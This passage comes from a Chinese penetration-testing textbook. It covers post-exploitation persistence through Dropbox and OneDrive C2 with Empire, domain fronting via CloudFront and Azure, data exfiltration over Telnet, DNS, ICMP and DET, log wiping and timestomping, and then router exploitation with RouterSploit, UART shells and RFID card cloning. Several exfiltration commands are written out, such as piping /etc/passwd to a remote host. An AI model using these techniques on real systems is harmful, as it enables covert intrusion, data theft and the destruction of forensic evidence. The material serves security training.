 不幸的是，几乎所有Metasploit编码的可执行文件都能被客户端杀毒软件检测到。这归因于一些渗透测试人员将加密的负载提交到了一些网站，比如VirusTotal（www.virustotal.com）。然而，你可以创建一个可执行文件，然后用Veil-Evasion进行加密。具体内容请参见第10章。
 
 
 13.2.6　使用在线文件存储云服务保持持久性
 
 每个允许使用云服务共享文件的组织都可能会使用Dropbox或者OneDrive。攻击者可以通过这些文件存储服务维持对目标的持久性。
 
 本节我们将学习如何借助Empire PowerShell工具，利用这些受害系统上的文件存储云服务，维持命令运行和控制的持久性，并且不会暴露攻击者后台的IP地址。
 
 Dropbox
 
 对于使用Dropbox的公司，监听器充当了一个高可用的C2信道。Empire PowerShell工具已经预装了dbx后利用模块，该模块利用了Dropbox的架构。代理与Dropbox通信时，它就充当了命令和控制中心。
 
 按照以下步骤就可以搭建一个Dropbox stager：
 
 1.创建一个Dropbox账号。
 
 2.访问Dropbox开发者网站（https://www.dropbox.com/developers）的My Apps。
 
 3.进入Create App，然后选择Dropbox API。
 
 4.选择App Folder。
 
 5.给应用取一个名字，比如KaliC2C。
 
 6.如图13-9所示，在新应用的设置界面创建一个新的访问令牌。
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 图13-9　创建访问令牌
 
 7.现在，利用创建的访问令牌在Empire工具中创建一个负载，代码如下：
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 输出结果如图13-10所示。
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 图13-10　创建新的负载
 
 如图13-11所示，如果一切正确，Dropbox账号将显示一个名为Empire的文件夹，并且包含3个子文件夹，分别为results、staging和taskings。
 
 8.开启监听器并运行后，攻击者可以使用多种方法传输负载，比如利用已有的Meterpreter会话，利用社会工程学攻击，或者创建一个计划任务在每次系统引导时返回报告。
 
 攻击者可以使用任何免费的文件托管服务来存储负载，然后使目标机器下载并执行代理。如图13-12所示，代理运行成功后将向Empire发送报告。
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 图13-11　Dropbox中的Empire文件夹
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 图13-12　Empire接收到代理的报告
 
 Microsoft OneDrive
 
 与Dropbox类似，OneDrive也是一种十分流行的文件共享服务。如图13-13所示，在最新版的Empire中，你会看到一个新增的预装监听器onedrive。
 
 通过如下步骤设置onedrive c2c：
 
 1.创建一个Microsoft开发者账号（https://developer.microsoft.com/enus/store/register），或者注册应用开发者项目（https://developer.microsoft.com）。
 
 2.如图13-14所示，输入名称，点击Create（创建），注册一个新的应用。
 
 3.如图13-15所示，创建应用后，攻击者应该可以看到一个新的应用ID。
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 图13-13　Empire中的onedrive监听器
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 图13-14　注册新的应用
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 图13-15　新应用的属性
 
 4.下一步，开启Empire并设置监听器。如图13-16所示，设置ClientID（即上一步得到的应用ID），运行监听器。
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 图13-16　运行Empire并设置监听器
 
 5.如图13-17所示，在浏览器中打开URL，从而生成认证码。
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 图13-17　利用URL生成认证码
 
 6.如图13-18所示，从URL获取的认证码可以用于设置Empire的监听器。
 
 7.如图13-19所示，与Dropbox类似，在OneDrive中你应该可以看到一个名为Empire并且包含3个子文件夹results、staging和taskings的文件夹，以及正确的Client ID和认证码。
 
 8.如图13-20所示，负载在目标系统成功运行后，OneDrive的监听器将收到相关报告。
 
 其他可用于持久性命令与控制（C2）的开放平台包括：
 
 ·Gcat和Gdog，Python脚本利用Gmail账号（在账号设置中存在不安全的应用）实施类似的C2攻击。这些脚本可以分别从以下网站下载：https://github.com/byt3bl33d3r/gcat/archive/master.zip和https://github.com/maldevel/gdog。
 
 ·GitPwnd是用Python编写的一个工具，允许测试人员在受害主机上运行Git repo从而实现C2。GitPwnd可以从网站https://github.com/nccgroup/gitpwnd下载。
 
 ·其他关于C2的使用可以访问https://github.com/woj-ciech/Social-media-c2。
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 图13-18　利用认证码设置监听器
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 图13-19　OneDrive中的Empire文件夹
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 图13-20　OneDrive的监听器收到报告
 

  13.3　前置域


  前置域是一项令攻击者和红队着迷的技术，可以用来逃避命令和控制服务器的检测。前置域是一门隐藏的艺术，它通过使用他人的域名（或者，在HTTPS情况下，使用他人的SSL凭据）路由到应用程序的流量，从而将攻击者的主机隐藏在高可信的域后面。


  最流行的服务包括，Amazon CloudFront、Microsoft Azure和Google App Engine。


  前置域技术还可以用于结合webmail进行命令和控制，以及通过SMTP协议进行数据抓取。


  注意，Google和Amazon于2018年4月启用了相关策略来防御前置域攻击。本节中我们将探索如何利用Amazon CloudFront和Microsoft Azure实现C2（采用了两种不同的方法）。

 
 13.3.1　利用Amazon CloudFront实现C2
 
 为了提升下载速度，亚马逊提供了基于全球分布式代理服务器网络的内容分发网络（Content Delivery Network，CDN），用于缓存大量的多媒体、视频等内容。Amazon CloudFront就是亚马逊网络服务（Amazon Web Service，AWS）提供的一种内容分发网络。通过以下步骤可以创建一个内容分发网络：
 
 1.首先，创建一个AWS账号（https://aws.amazon.com/）。
 
 2.登录账号（https://console.aws.amazon.com/cloudfront/home）。
 
 3.点击Web下的Get Started，然后选择Create distribution。
 
 4.填写正确的设置信息，如图13-21所示。
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 图13-21　填写CDN的设置项
 
 部分选项如下：
 
 ·原域名（Origin Domain Name）：攻击者控制的域名。
 
 ·原路径（Origin Path）：可以设置为根目录/。
 
 ·原SSL协议（Origin SSL Protocol）：默认启用TLS v1.2、TLS v1.1和TLS v1.0。
 
 ·原协议策略（Origin Protocol Policy）：有HTTP、HTTPS和Match Viewer三个选项。作者推荐使用Match Viewer，因为Match Viewer可以根据请求的协议，利用HTTP或者HTTPS。
 
 ·许可的HTTP方式（Allowed HTTP Methods）：在Default Cache behavior settings下选择GET、HEAD、OPTIONS、PUT、POST、PATCH和DELETE。
 
 ·确保Cache Based on Selected Request Headers设置为All。
 
 ·确保Forward Cookies设置为All。
 
 ·确保Query String Forwarding and Caching设置为Forward all,Cache based on all。
 
 5.完成所有设置后，点击Create Distribution，你将看到以下画面（图13-22）。
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 图13-22　创建CDN
 
 通常创建一个CDN需要30分钟左右的时间。
 
 6.创建好CDN后，你需要定制化Empire代理以发起攻击。启动系统中的Empire，指向用于创建AWS实例的域名。
 
 7.可以通过各种脚本找到前置域，这里我们将使用在https://github.com/rvrsh3ll/FindFrontableDomains上找到的脚本，并使用其中一个脆弱的主机来实施攻击。
 
 8.接着，在Empire PowerShell中创建一个新的监听器。第一步是使用一个已存在的监听器。我们将使用http，然后将监听器的名字改为AwsCloud，并将默认配置文件附加到另一个主机中。以下是设置新的监听器的命令：
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 9.完成新监听器的所有设置后，攻击者可以看到如图13-23所示的画面。
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 图13-23　创建的监听器信息
 
 本例中，我们使用了d0.awsstatic.com的主机来转发域对C2服务器的请求。
 
 在连接到AWS之前，应用会进行DNS查询，给网络的IP地址分配域名。请求会直接发送到d0.awsstatic.com的主机，其中主机头部是我们在Amazon CloudFront的分发中创建的。
 
 Wireshark捕获的一个请求包如图13-24所示。
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 图13-24　Wireshark捕获请求包
 
 10.如图13-25所示，在受害主机执行PowerShell负载后，你可以看到代理的报告，显示目标网络上没有攻击者IP地址的任何痕迹。所有流量看上去都像是连接到AWS的合法连接。
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 图13-25　代理报告
 
 尽管许多内容提供商都容易遭受此类攻击，但是Google似乎于2018年4月已经通过大幅更改其云架构修复了此类攻击。例如，如果公司A的域使用了Google的域作为前置域，并附加了一个主机头部指向公司A，那么相关请求在内容分发网络的第一节点就会被丢弃。类似地，其他提供商也正试图通过附加的认证令牌或者其他机制阻止前置域攻击。
 
 
 13.3.2　利用Microsoft Azure实现C2
 
 类似于亚马逊的CloudFront，微软使用Azure为用户提供快捷服务。Microsoft Azure使用Verizon和Akamai服务交付内容分发网络。
 
 本例中，我们将利用不同的技术来实现SSL的前置域攻击，使用Microsoft Azure CDN和Metasploit。
 
 按照以下步骤可以创建一个Microsoft Azure CDN：
 
 1.登录Microsoft Azure门户网站https://portal.azure.com/。
 
 2.搜索CDN，通过点击Add添加一个新的实例。
 
 3.为CDN提供一个名称，然后选择Subscription Type、Resources Group、Region和Pricing Tier（定价层，通常免费层就可以了），然后点击Create a New CDN end point Now。
 
 4.然后提供CDN Endpoint name和Origin type（这里选择的是Custom origin），点击Create。如图13-26所示，大概需要2个小时，相关信息才能传遍整个内容分发网络。
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 图13-26　成功创建CDN
 
 5.当你等待实例上线时，确保将Caching rules设置为Bypass caching for query strings。这是为了确保像真实的CDN一样，不会缓存所有流量，我们只是将其用作一个通信信道。
 
 6.这就创建了一个新的CDN实例，你可以看到黑客控制的域和Azure CDN，如图13-27所示。本例中，mastering.cyberhia.com是黑客控制的网站，Masteringkali.azureedge.net是CDN的终端，同时支持HTTP和HTTPS（因为我们选择了Custom origin）。
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 图13-27　CDN实例总览
 
 使用msfvenom命令、前置域，以及主机头注入，我们可以创建一个Metasploit Meterpreter反向HTTPS shell，相关命令如下。
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 执行这个负载后，可以在C2服务器上得到一个反向shell，C2服务器位于Microsoft Azure CDN后端。这项技术经常被APT29组（俄罗斯的一个国家黑客组）用于秘密攻击。
 
 测试人员需要确保在Azure或者Amazon后端的域名有一个有效的A记录。对于Microsoft Azure，你还需要确保CNAME指向一个正确客户域才能使前置域攻击奏效。
 

  13.4　数据提取


  从任何环境中以未经授权的方式传输数据被称为数据提取。一旦在被攻击的系统上完成持久性维持，许多工具都可用于从高度安全的环境中提取数据。


  在本节中，我们将探讨攻击者用来从内部网络向攻击者控制的系统发送文件的不同方法。

 
 13.4.1　使用现有的系统服务（Telnet、RDP、VNC）
 
 首先，我们将讨论一些简单的技术，以便在有访问时间限制的被入侵系统中快速抓取文件。攻击者可以运行nc-lvp 2323>Exfilteredfile命令使用Netcat打开一个端口，然后在被入侵的Linux服务器运行cat/etc/passwd|telnet remoteIP2323命令。
 
 这将把etc/passwd的全部内容显示给远程主机，如图13-28所示。
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 图13-28　运行cat/etc/passwd|telnet
 
 访问网络上任何系统的攻击者使用的另一个重要且相当简单的技术是，从Meterpreter shell运行getgui，这将启用RDP。一旦启用了RDP，攻击者就可以配置Windows攻击来将本地驱动器挂载到远程驱动器，并将远程桌面的所有文件提取到本地驱动器。
 
 这可以通过菜单选项来完成，首先从Remote Desktop Connection的Options菜单选择Local Resources，然后到Local devices and resources，点击More，之后选择想要挂载的驱动器，如图13-29所示。
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 图13-29　选择驱动器
 
 这会将攻击者本地计算机的D盘挂载到RDP系统。可以通过使用RDP连接登录远程IP进行确认。一个额外的驱动器（X:）应该被默认挂载，如图13-30所示。
 
 其他传统技术涉及设置一个SMB服务器，并允许匿名访问被破解的计算机，或者利用其他应用，比如TeamViewer、Skype Chrome插件、Dropbox、Google Drive、OneDrive、WeTransfer，或者其他针对大型文件传输的一键共享服务。
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 图13-30　默认挂载的驱动器
 
 
 13.4.2　使用DNS协议
 
 通过利用DNS的隧道设计方式（自动绕过网络保护），将数据有效负载添加到企业的DNS，是维持命令与控制，以及执行数据提取最简单的方法。在本节中，我们将学习如何通过在网络或互联网上设置假DNS服务器，通过UDP53上的DNS协议，利用DNSteal来提取数据。
 
 DNSteal是一个Python工具，可被攻击者用于通过设置一个假DNS服务器来完成DNS协议，发送文件和文件夹。最新的DNSteal版本是2.0，我们希望它以后会集成到Kali Linux中。
 
 DNSteal工具可以从GitHub下载，网址为：https://github.com/m57/dnsteal/。
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 攻击者现在可以启动一个假DNS服务器，并在指定的IP上运行，如图13-31所示。
 
 以下是所使用的选项的详细说明：
 
 ·-z：解压缩任何传入文件，特别适用于网络上的大型文件传输。
 
 ·-s：设置每个请求的数据子域的数量。
 
 ·-b：每个子域发送的字节数。
 
 ·-f：每个请求的文件名长度。
 
 利用DNSteal的优点是它还提供了在被入侵主机上运行的命令。
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 图13-31　启动假DNS服务器
 
 运行以下命令：
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 运行该命令的系统或服务器，通过添加一个数据负载，向假DNS服务器发送多个DNS查询，在图13-32所示的示例中，通过网络直接传输内部文件/etc/passwd到服务器。
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 图13-32　传输内部文件
 
 一旦脚本在受感染的机器上运行，攻击者应该能够在其DNSteal控制台中看到关于接收文件的内容，如图13-33所示。
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 图13-33　接收文件
 
 一旦文件传输完成，文件名约定为receieved_year_month_date_time_filename，并存储在./文件夹中，测试人员将看到如图13-34所示的文件内容。
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 图13-34　显示文件内容
 
 
 13.4.3　使用ICMP协议
 
 有多种方法可以应用ICMP协议（任意ICMP工具，如hping、nping和ping等）提取文件。在本节中，我们将利用nping实用程序使用ICMP协议执行机密文件的数据提取。
 
 在这个例子中，我们将利用tcpdump从pcap转储文件中提取数据。通过在终端运行以下内容启用监听器：
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 完成后，攻击者可以看到如图13-35所示的内容。
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 图13-35　使用tcpdump
 
 现在主机192.168.1.104是目标主机，我们等待接收它的数据，一旦hping3在客户端（192.168.1.104）被触发，应该收到一条消息，如“EOF reached,wait some second than press ctrl+c”，如图13-36所示，表示该文件已通过ICMP提取到目标服务器。
 
 按Ctrl+C关闭tcpdump。下一步是从pcap文件中删除不需要的数据，以便我们可以通过运行Wireshark或tshark仅打印特定文本文件的十六进制值。
 
 使用tshark过滤数据字段，打印pcap文件中的十六进制值，命令如下：
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 十六进制文件现在可以利用4行Python代码进行转换：
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 图13-36　文件提取到目标服务器
 
 最后，应该可以打开使用ICMP协议发送的文件，如图13-37所示。
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 图13-37　文件内容
 
 上面这些技术正在被其他的一些工具取代，比如Data Exfiltration Toolkit（我们将在下一节中探讨）。
 
 
 13.4.4　使用数据提取工具包
 
 数据提取工具包（Data Exfiltration Toolkit，DET）是市场上最简单的可用工具之一，由Sensepost创建，用于测试针对数据提取的数据泄露预防（Data Leakage Prevention，DLP）解决方案。攻击者也可以在真实的环境中使用ICMP和其他社交媒体（如Twitter）或通过邮件（如Gmail）来提取数据。
 
 可以从GitHub下载DET，下载命令如下：
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 最重要的特征是配置文件，它由config sample.json提供，根据攻击者的动机和目标可以替换为config.json。现在，我们准备好了利用攻击者控制的IP地址，运行DET提取网络中的数据。
 
 这是一个传统的客户端和服务器的概念，首先在服务器上运行Python脚本通过一个特定协议接受通信，本例中，我们使用ICMP协议。
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 图13-38显示了服务器已准备就绪，并接受连接。
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 图13-38　服务器准备就绪
 
 攻击者可以用相同的配置从受攻击的服务器启动DET，运行python det.py-f/etc/passwd-p icmp–c./config-sample.json，通过ICMP协议发送文件，如图13-39所示。
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 图13-39　发送文件
 
 文件发送到攻击者的服务器后，渗透测试人员应该可以看到正在运行的服务器的确认信息，如图13-40所示。
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 图13-40　收到确认信息
 
 最后，该文件将存储在运行服务器的同一文件夹，命名为：filename:date:time.txt。
 
 
 13.4.5　使用PowerShell
 
 在最近的渗透测试期间，我们通过PowerShell执行了简单的数据提取，并通过运行以下命令将文件上传到攻击者控制的Web服务器：
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 13.5　隐藏攻击证据
 
 一旦一个系统被渗透，攻击者必须掩饰他们的踪迹，以免被发现，或者至少为防御者重构该事件制造困难。
 
 攻击者可以完全删除Windows事件日志（如果它们保留在被感染的服务器上）。这些可以通过对入侵系统使用一个命令shell来实现，使用以下命令：
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 /a选项直接删除所有日志，/s选项删除包括所有子文件夹的文件。/q选项禁用所有的查询，要求有一个yes或者no的回应，/f选项强行删除文件，使得恢复更加困难。
 
 为了擦除特定的记录文件，攻击者必须跟踪在入侵系统上执行的所有活动。
 
 也可以通过在Meterpreter提示符下执行clearev命令来删除文件，如图13-41所示。该命令将删除目标上的应用程序、系统和安全日志（该命令没有选项和参数）。
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 图13-41　运行clearev命令
 
 通常情况下，删除一个系统日志不会触发任何警报。事实上，大多数组织都是随意设置日志系统，以至于系统日志丢失被视作一件可能发生的事情，并且不会对其丢失做深入的调查。
 
 除了传统日志，攻击者也可以考虑删除受害系统的PowerShell操作日志。
 
 Metasploit有一个绝招，那就是timestomp选项，它允许攻击者更改一个文件的MACE参数（一个文件的最后一次修改、访问、创建，以及MFT入口修改时间）。一旦系统被入侵，并且一个Meterpreter shell已经建立，timestomp就可以被调用，如图13-42所示。
 
 例如，被入侵系统的C盘包含一个名叫README.txt的文件。此文件的MACE值表示它是最近创建的，如图13-43所示。
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 图13-42　执行timestomp-h命令
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 图13-43　MACE值
 
 如果我们想隐藏这个文件，我们可以将其移动到一个杂乱的目录，如Windows\System32下。但是，这个文件对于那些根据创建时间或其他MAC参数进行排序的人是显而易见的。
 
 因此，你可以通过以下命令修改文件的时间戳：
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 这会更改README.txt的时间戳，如图13-44所示。
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 图13-44　更改时间戳
 
 为了能够彻底的破坏调查，攻击者可以递归地改变一个目录下或者在一个特定的驱动器上所有的设置时间，只需执行以下命令：
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 这种解决方法并不是完美的。很明显，已经发生了一个攻击。此外，时间戳很可能还存储在硬盘的其他位置，也可用于调查。如果目标系统正在使用入侵检测系统（例如Tripwire）来实时监控系统的变化，会产生timestomp活动的警报。因此，当要求高度隐蔽时，破坏时间戳的价值是有限的。
 

  13.6　小结


  本章我们学习了使用不同的策略来维持对入侵环境的访问，包括利用前置域隐藏攻击源，我们还学习了如何隐藏攻击的证据，掩盖我们的痕迹，保持匿名，这些就是杀链方法的最后一步。


  我们还学习了如何使用Netcat、Meterpreter、计划任务和Empire PowerShell的dbx和onedrive模块来维持入侵系统代理的持久性，以及如何利用传统服务（如DNS、ICMP、Telnet、RDP和Netcat）抓取数据。


  第14章我们将了解如何利用Kali2018.4和其他工具入侵嵌入式设备和RFID/NFC设备。


  第14章　嵌入式设备和RFID的入侵


  物联网（IOT）的广泛采用，极大地推动了嵌入式系统市场的发展。现代联网嵌入式设备变得越来越具吸引力，并且广泛部署在许多大公司、小型及家庭办公室（SOHO）以及小型或中型企业（SMB），并且正在被全世界的家庭消费者使用。根据www.statista.com的统计，联网的IOT设备已经从2016年的154.1亿增长到2018年231.4亿。同时，设备的安全问题以及面临的威胁成为制造商和消费者最关心的问题。最好的例子就是Mirai僵尸网络攻击，2016年，Mirai使美国东海岸大部分地区的网络中断。


  本章我们将理解嵌入式系统的基本原理，以及外围设备扮演的角色，并学习Kali Linux环境下的各种工具和方法，用以对设备实施典型的渗透测试或者产品评估。我们还将配置Chameleon Mini来模拟NFC卡，并在红队训练或渗透测试过程中，通过重放存储的内存内容绕过物理的访问控制。


  在本章中，你将学习：


  ·嵌入式系统及硬件架构。


  ·UART串行总线。


  ·USBJTAG简介。


  ·固件和常见的引导加载程序的解包。


  ·使用Chameleon Mini入侵RFID。

 
 14.1　嵌入式系统及硬件架构
 
 嵌入式系统是用以完成特定任务的软硬件的组合。它们通常基于一个微控制器和多个微处理器。本节我们将快速学习嵌入式系统的不同架构元素，其硬件架构包括内存以及设备间的通信。我们日常生活中使用的很多东西都是嵌入式设备，包括手机、DVD播放器、GPS系统，还有智能语音助手（如Alexa）。
 
 嵌入式系统的基本架构
 
 微控制器和微处理器的唯一区别是，微处理器没有RAM/ROM，需要外部添加。如今，大多数嵌入式设备/系统使用的是微控制器，它包含一个CPU以及一定数量的RAM/ROM。
 
 图14-1给出了一个简单的嵌入式系统的典型架构。
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 图14-1　嵌入式系统的典型架构
 
 嵌入式系统由以下部分组成：
 
 ·硬件：包括芯片集和处理器，如ARM（使用最广泛）、MIPS、Ambarella、Axis CRIS、Atmel AVR、Intel8051，或Motorola微控制器。
 
 ·操作系统：大多数嵌入式系统都是基于Linux的，是为设备定制的实时操作系统（Real-Time Operating System，RTOS）。测试人员可能会有一些疑问，比如，操作系统与固件的区别是什么？固件允许设备厂商使用通用的可编程的芯片，而非定制的硬件。
 
 ·应用软件：这是定制的应用，用于控制设备及其特性。大多数时候，会使用一个Web应用来配置或更新设备。
 
 理解固件
 
 在电子系统和计算机领域，固件是一种连接到特定硬件的软件，提供底层控制。根据厂商的不同，每种设备都有各自的固件。
 
 图14-2列举了具有特定固件的设备类别和类型，其中大多数都是基于Linux系统的。注意，这里并没有覆盖所有类别。
 
 表14-1列举了大多数嵌入式设备使用的内存类型。
 
 固件的类型
 
 由于各种复杂的因素，几乎所有的嵌入式设备使用的都是不同的固件。执行繁重任务的嵌入式设备则需要完整的操作系统，如Linux或者Windows NT。下面给出了在固件分析中常见的操作系统：
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 图14-2　固件的类别和类型
 
 表14-1　嵌入式设备使用的内存类型
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 ·Ambarella：主要用于视频摄像头和无人机等领域的嵌入式操作系统。
 
 ·Cisco IOS：思科的互联网操作系统。
 
 ·DOS：快要被废弃的磁盘操作系统。但是测试人员永远不知道在测试时会发现什么。
 
 ·eCos：嵌入式可配置操作系统（Embedded Configurable Operating System）,eCos社区的开源实时操作系统。
 
 ·JunOS：Juniper网络系统，Juniper为其路由设备定制的基于FreeBSD的操作系统。
 
 ·L4microkernel family：第2代微核系统，看起来类似于Unix的操作系统。
 
 ·VxWorks/Wind River：一种流行的专有实时操作系统。
 
 ·Windows CE/NT：微软的嵌入式操作系统，很少在设备上使用。
 
 理解引导加载程序
 
 每个设备都有一个引导加载程序（bootloader）。它们就是在掩码ROM引导加载程序之后加载并执行的第一段软件。主要用于将操作系统的各个部分加载到内存中，并确保系统加载到内存中为内核定义的状态。部分引导加载程序分成两步，只有加载第一步后才知道如何加载第二步，而第二步将提供访问文件系统等。以下是到目前为止，我们在产品评估期间遇到过的引导加载程序：
 
 ·U-Boot:Universal Boot的简写。U-Boot是开源的，并且几乎可用于所有的架构（如68k、ARM、Blackfin、MicroBlaze、MIPS、Nios、SuperH、PPC、RISC-V和x86）。
 
 ·RedBoot:使用eCos实时操作系统的硬件抽象层为嵌入式系统提供bootstrap固件。
 
 ·BareBox：另一种用于嵌入式设备的开源主引导加载程序，支持RM、Blackfin、MIPS、Nios II和x86。
 
 常用工具
 
 在设备固件进行调试或逆向工程期间，可以使用的工具如下。其中一些工具已作为Kali Linux工具包的一部分提供：
 
 ·binwalk:它是一种可以执行分析和提取任何图像或二进制文件的逆向工程工具，支持脚本编写，以及添加模块。
 
 ·firmware-mod-kit:包含多个脚本的工具包，在评估过程中可以很方便地提取和重建基于Linux的固件镜像。测试人员也可以重构或解构固件镜像。
 
 ·ERESI framework:它是一个具有多架构二进制文件分析框架的软件接口，可以执行逆向工程和程序操作。
 
 ·cnu-fpu：Cisco IP电话固件包/解包器，参见https://github.com/kbdfck/cnu-fpu。
 
 ·ardrone-tool：此工具处理所有parrot格式的文件，并允许用户通过USB闪存并加载新固件。参见https://github.com/scorp2kk/ardrone-tool。
 
 
 14.2　固件解包与更新
 
 在本节中，我们将探讨如何解压缩固件并使用自定义固件进行更新。我们注意到固件镜像并没有包含要构建一个完整系统所需的所有文件。通常，固件包含以下内容：
 
 ·Bootloader（1个或2个阶段）
 
 ·核
 
 ·文件系统镜像
 
 ·用户区二进制文件
 
 ·资源和支持文件
 
 ·Web服务器/网络接口
 
 本节我们将使用USBJTAG NT工具，将USB连接到Kali Linux，JTAG连接在设备的电路板上。JTAG代表联合测试行动组（Joint Test Action Group）。它是制造完成后，验证设计和测试印刷电路板的行业标准。
 
 无论设备如何受限，JTAG都可以从测试访问端口（Test Access Port，TAP）角度去使用。制造商通常会留有一个串口或几个TAP。根据我们的经验，如果串行访问没有获得期望的结果或设备被锁定，可能使用JTAG端口更容易（但并非总是这样，因为设备可能被完全锁定）。
 
 JTAG架构由芯片制造商指定，并且在大多数情况下，即使采用菊花链的JTAG，也遵循主芯片组的命令和控制规范。所有产品都分配有提供设备详细信息的FCC ID。FCC ID可以通过访问https://www.fcc.gov/oet/ea/fccid进行搜索。我们必须有设备正确的电压，否则，我们最终会破坏设备或使硬件出现故障。一旦确定了JTAG架构的类型，就可以开始查看配置连接所需的规范和命令。
 
 在本节中，我们将使用USBJTAG NT，它预先配置了一系列不同类别和类型的设备。该工具可以从https://www.usbjtag.com/filedownload/usbjtagnt-for-linux.php?d=1网站直接下载。本例中，我们将使用USBJTAG NT线缆。路由器的物理连接如图14-3所示。
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 图14-3　路由器的物理连接
 
 由于USBJTAG NT大量使用了库，要在Kali Linux上成功运行它，必须确保安装了libqtgui和libqtnetwork，可以通过aptget install libqt4-network:i386libqtgui4:i386命令实现。
 
 随后，你将看到如图14-4所示的启动画面。
 
 选择好Category、Protocol类别（这里我们使用Router,EJTAG作为Protocol）和Target后，从目标中选择路由器的型号。如图14-5所示，如果JTAG物理连接正常工作，我们就可以调试设备了。
 
 随后，利用程序命令清除原始设备制造商（Original Equipment Manufacturer，OEM）操作系统。完成后，我们可以上传一个新的.bin文件到设备，它会将OpenWRT加载到选定的路由器并具有完全权限。OpenWRT是一种用于常驻网关的开源固件，最初是为Linksys WRT54G无线路由器创建的。它已发展成为一个嵌入式Linux分发版本，支持各种设备。
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 图14-4　USBJTAG NT启动画面
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 图14-5　调试设备
 
 如图14-6所示，可以利用具有root权限的直接SSH来访问设备进行验证（确保使用物理以太网电缆连接了路由器和笔记本，并且设置了静态IP地址）。
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 图14-6　验证具有root权限
 
 
 14.3　RouterSploit框架简介
 
 与Metasploit框架类似，RouterSploit是一个Threatnine（https://www.threat9.com）开发的针对嵌入式设备的开源漏洞利用框架，特别是针对路由器。RouterSploit可以通过在Kali终端中运行apt-get install routersploit命令来直接安装。其最新版本是3.4.0，包含130个已知漏洞利用和4个不同的扫描器，适用于不同类型的设备。
 
 以下是RouterSploit的模块：
 
 ·exploits：涉及所有已知漏洞的模块。
 
 ·creds：用于测试登录凭据（具有预定义的用户名和密码）的模块。
 
 ·scanners：使用预配置列表扫描漏洞的模块。
 
 ·payloads：根据设备类型生成负载的模块。
 
 ·generic/encoders：包含通用负载和编码器的模块。
 
 在下面的示例中，我们将使用RouterSploit的扫描器功能来确定连接的路由器是否容易受到某些已知漏洞的攻击。我们将对运行192.168.1.8的路由器使用scanners/autopwn命令，如图14-7所示。
 
 扫描器将从exploits模块发起130次漏洞扫描。由于我们使用了autopwn，在扫描结束时你应该能够看到路由器存在的漏洞列表，如图14-8所示：
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 图14-7　对路由器进行扫描
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 图14-8　路由器存在的漏洞列表
 
 现在我们知道该设备容易受到两种不同的攻击，那么让我们继续，运行以下命令使用漏洞利用：
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 此漏洞利用使用本地文件包含（Local File Inclusion），访问httaccess文件并提取了用户名和密码。如图14-9所示，运行成功后，获取到登录信息。
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 图14-9　获取到登录信息
 
 让我们尝试通过其他漏洞绕过身份验证，而无须通过操纵URL使用有效凭据完成登录。我们将通过运行routersploit利用路由器漏洞，如图14-10所示。如果路由器运行在443端口，将ssl的值设置为true：
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 图14-10　利用routersploit绕过身份验证
 
 最后，可以利用URL访问路由器的Web接口，如图14-11所示，将直接进入路由器的配置页面。
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 图14-11　路由器配置页面
 
 
 14.4　UART
 
 UART代表通用异步接收器/传输器（Universal Asynchronous Receiver/Transmitter）。这是计算机最早的通信模式之一：可以追溯到1960年，当时它主要用于连接微型计算机与电传打字机。UART的主要目的是像独立的集成电路一样传输和接收串行数据。它不是SPI（串行外设接口）或I2C（内部集成电路）协议。制造商通常使用它来连接微控制器以存储和加载程序。每个UART设备都有各自的优点和缺点。以下是UART的优点：
 
 ·只有两根线，所以很简单，一根用于传输（TX）而另一根用于接收（RX）。
 
 ·不需要时钟信号。
 
 ·可以通过奇偶校验位执行错误检查。
 
 ·如果两端都已设置，则可以更改数据包的结构。
 
 ·由于其文档公开在整个互联网上，因此被广泛使用。
 
 UART有以下限制：
 
 ·测试人员无法增加数据帧，限制最多只能为9位。
 
 ·无法设置多个从站或主站系统。
 
 ·UART波特率必须在10％以内。
 
 在本节中，我们将使用USB转TTL（晶体管/晶体管逻辑）适配器通过连接到设备电路板的串行端口来执行UART通信。
 
 USB转TTL适配器包含以下四个端口：
 
 ·GND：接地电源（0V）。
 
 ·VCC：电压电源，3.3V（默认）或5V。
 
 ·TX：串行传输。
 
 ·RX：串行接收。
 
 攻击者在硬件黑客攻击中面临的一大挑战是识别正确的串行端口。这可以通过使用万用表读取电压输出以确认TX（通常，当设备接通时，电压会持续波动）、RX（最初它将波动，但在一个点之后将保持恒定）和GND（零电压）来完成。
 
 在本例中，我们将使用一个众所周知的无线路由器，并将UART连接到TTL以直接与硬件通信，如图14-12所示。
 
 当正确识别出TX/RX和接地时，我们可以在Kali Linux中运行Python文件baudrate.py（https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2014/baudrate.py），进而获取所连接设备的信息。连接到串行设备后，你将在Kali中看到如图14-13所示的内容。大多数时候，可以将路由器的波特率设置为115200。
 
 Kali Linux成功读取设备后，我们就可以通过在命令行中运行screen/dev/ttyUSB0 115200来开始与设备交互，这将为我们提供直接的shell访问，如图14-14所示。测试人员必须注意，在此示例中，我们使用了一个提供直接根访问权限的已知路由器，这可能与其他设备中的情况不同。最近制造的设备将提示输入用户名和密码。
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 图14-12　UART连接TTL
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 图14-13　连接串行设备后看到的画面
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 图14-14　运行screen/dev/ttyUSB0 115200命令
 
 从调试日志中了解设备一直是一种好方法，我们在大量物联网设备中看到了硬编码凭证。
 
 
 14.5　利用Chameleon Mini克隆RFID
 
 RFID表示射频识别（Radio Frequency Identification），它利用无线电波识别条目。RFID系统至少包含标签、读取器和天线，包括有源和无源RFID标签。有源RFID标签包含自己的电源，使其能够以高达100米的读取范围进行广播。无源RFID标签没有自己的电源。相反，它们由RFID读取器传输的电磁能量供电。
 
 NFC代表近场通信，它是RFID的一个子集，但具有更高频率。NFC/RFID工作在13.56MHz频段。NFC还被设计为作为NFC读取器和NFC标签运行，这是NFC设备能与同伴通信的独特特性。在本节中，我们将探讨如何将设备用于在物理渗透测试、社会工程学攻击或红队训练中实现既定目标。例如，如果你需要展示某机构的真实威胁，包括获得对该机构办公室、数据中心或会议室的访问权限，Chameleon Mini可以方便地将六种不同的UID存储在信用卡大小的便携式设备中，如图14-15所示。
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 图14-15　Chameleon Mini设备
 
 Chameleon Mini是由Kasper＆Oswald创建的一款设备，旨在分析NFC的安全问题，以模拟和克隆非接触式卡，读取RFID标签以及嗅探RF数据。对于开发人员，它是可自由编程的。在这个例子中，我们将使用Chameleon Mini RevG color来演示克隆UID。
 
 在Kali Linux中，我们可以通过直接连接USB来验证设备。lsusb命令可以将Chameleon Mini显示为MCS，并且连接Kali Linux的每个串行设备都将列在/dev/中。在本例中，我们的设备可以在名为ttyACM0的串行端口下看到，如图14-16所示。
 
